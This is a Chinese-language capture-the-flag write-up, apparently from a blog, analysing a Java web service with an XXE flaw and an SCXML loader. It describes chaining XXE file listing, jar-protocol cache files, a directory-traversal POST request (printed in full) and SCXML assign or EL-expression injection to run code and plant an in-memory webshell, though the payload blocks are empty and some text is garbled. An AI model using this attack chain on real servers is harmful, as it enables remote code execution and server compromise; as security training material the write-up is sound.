0x01 代码分析
object方法
object方法通过@RequestParam注解获取object参数,然后根据该参数拼接出一个文件路径file:///home + object。接着调用check方法检查该文件是否存在 <script> 标签,如果存在则返回 X E , X E , XX E;
否则读取该文件并将其解析为SCXML状态机,然后执行该状态机并返回 `X ME
check方法
该方法用于检查文件中是否存在<script>标签。
首先通过
DocumentBuilderFactory.newInstance()创建一个DocumentBuilderFactory实例,然后通过newDocumentBuilder()方法创建一个DocumentBuilder实例。
接着使用builder.parse(fileName)方法将文件解析为一个Document对象,最后通过getElementsByTagName("script")方法获取所有<script>标签元素并检查其数量,如果为0,则返回true,否则返回false。
xxe方法
xxe方法通过@RequestParam注解获取uri参数,然后使用DocumentBuilder将该参数解析为一个Document对象。接着遍历该Document对象的所有子节点,并将其文本内容连接起来返回。由于没有对解析出来的文本进行任何过滤或验证,因此存在XXE漏洞。
0x02 漏洞利用
- object方法中存在SCXML解析漏洞,攻击者可以通过object参数构造一个包含恶意SCXML状态机的文件,从而在服务器上执行任意代码。
- xxe方法中存在XXE漏洞,攻击者可以通过uri参数构造一个恶意XML文件,从而读取服务器上的任意文件。
通过xxe读取根目录,发现readflag,也可以列目录获取缓存文件地址:
通过jar协议缓存文件特点,通过工具使文件解压后不删除,通过xxe列目录获取tmp文件路径
https://github.com/pwntester/BlockingServer
构造命令执行,通过assign绕过script标签过滤:
- Payload
复制代码
- 目录穿越指定缓存文件
POST /object HTTP/1.1
Host: 192.168.2.42:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 126
object=../../../../../../../../../../private/var/folders/86/8qfmjpl965j4x4ykyk1sfkf80000gn/T/jar_cache12949212024815436877.tmp
复制代码
- 通过el表达式,注入内存马:
复制代码
0x03 其他标签:
复制代码
复制代码
复制代码
from https://1oecho.github.io/mCQ5Tu20m/